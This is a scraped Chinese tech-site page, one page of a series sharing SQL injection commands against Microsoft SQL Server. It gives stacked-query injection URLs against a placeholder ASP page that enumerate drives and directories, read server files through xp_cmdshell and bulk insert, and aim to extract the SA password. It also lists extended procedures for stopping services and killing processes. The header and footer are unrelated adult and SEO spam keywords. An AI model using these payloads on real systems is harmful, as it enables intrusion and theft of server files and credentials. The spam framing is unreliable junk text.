日韩精品中文字幕一区二区-日韩精品中文字幕一区-日韩精品中文字幕视频-日韩精品在线一区二区三区-第一页在线-第一福利视频

當前位置:首頁文章首頁 IT學院 IT技術

比較全的SQL注入相關的命令分享

作者:  來源:  發布時間:2011-6-15 15:18:23  點擊:


   遍歷系統的目錄結構,分析結果并發現WEB虛擬目錄,先創建一個臨時表:temp
http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    接下來:我們可以利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--
   我們可以通過查詢temp的內容來獲得驅動器列表及相關信息或者利用xp_subdirs獲得子目錄列表,并存入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
   我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,并寸入temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 這樣就可以成功的瀏覽到所有的目錄(文件夾)列表
   如果我們需要查看某個文件的內容,可以通過執行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
   使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'   瀏覽temp就可以看到index.asp文件的內容了!通過分析各種ASP文件,可以得到大量系統信息,WEB建設與管理信息,甚至可以得到SA帳號的連接密碼。

31、一些sql中的擴展存儲的總結:
xp_availablemedia 顯示系統上可用的盤符'C:\' xp_availablemedia
xp_enumgroups 列出當前系統的使用群組及其說明 xp_enumgroups
xp_enumdsn 列出系統上已經設置好的ODBC數據源名稱 xp_enumdsn
xp_dirtree 顯示某個目錄下的子目錄與文件架構 xp_dirtree 'C:\inetpub\wwwroot\'
xp_getfiledetails 獲取某文件的相關屬性 xp_getfiledetails 'C:\inetpub\wwwroot.asp'
dbp.xp_makecab 將目標計算機多個檔案壓縮到某個檔案里所壓縮的檔案都可以接在參數的后面用豆號隔開 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'
xp_unpackcab 解壓縮 xp_unpackcab 'C:\hackway.cab','C:\temp',1
xp_ntsec_enumdomains 列出服務器域名 xp_ntsec_enumdomains
xp_servicecontrol 停止或者啟動某個服務 xp_servicecontrol 'stop','schedule'
xp_terminate_process 用pid來停止某個執行中的程序 xp_terminate_process 123
dbo.xp_subdirs 只列某個目錄下的子目錄 dbo.xp_subdirs 'C:\'

32、
USE MASTER
GO
CREATE proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N'?',
@command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its
own result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */
/* Preprocessor won't replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
/* Defined @isobject for save object type */
Declare @isobject varchar(256)
select @isobject= case @objectType when 1 then 'IsUserTable'
when 2 then 'IsView'
when 3 then 'IsTrigger'
when 4 then 'IsProcedure'
when 5 then 'IsDefault'
when 6 then 'IsForeignKey'
when 7 then 'IsScalarFunction'
when 8 then 'IsInlineFunction'
when 9 then 'IsPrimaryKey'
when 10 then 'IsExtendedProc'
when 11 then 'IsReplProc'
when 12 then 'IsRule'
    end
/* Create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
    exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand is not null)
    exec(@postcommand)
return @retval
GO


/*
1。獲得所有的存儲過程的腳本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4
2。獲得所有的視圖的腳本:
EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2

EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4
*/

33、DB_OWNER權限下的數據庫備份方法
用openrowset吧。
首頁 上一頁 [4] [5] [6] [7] [8]  下一頁 尾頁

相關軟件

相關文章

文章評論

軟件按字母排列: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
主站蜘蛛池模板: 神经内科出科个人总结| 你一定要幸福 电视剧| 北京卫视今天全部节目表| cctv17农业农村频道在线直播| 爱情餐歌| 《水中花》日本电影| 马樱花| 五年级下册第九课古诗三首课堂笔记 | 新闻女郎| 母亲とが话しています免费| 国考岗位| 阿修罗城之瞳| 湖南卫视节目表今天| 蹲踞式跳远教案| 木野真琴| 音乐僵尸| 糊涂蛋| 马会传真论坛13297соm查询官网| 厕所英雄| 儿子结婚请帖邀请函电子版| 王茜华泳装照片高清| 乱世佳人电视剧免费观看完整版| 必修一英语电子课本外研版| 黄视频免费在线播放| 她的伪装 电视剧| 邓为个人介绍| (一等奖)班主任经验交流ppt课件| 阴道| 山本裕典| 我是特种兵剧情介绍 | 初三化学试卷| 原来琪琪电影| 高校新人| 婚前协议电视剧演员表| 电影《七三一》| 抖音浏览器| 韩国电影金珠| 李洋演员个人简介图片| 合普诺| 胡凯莉| 鬼龙院花子的一生|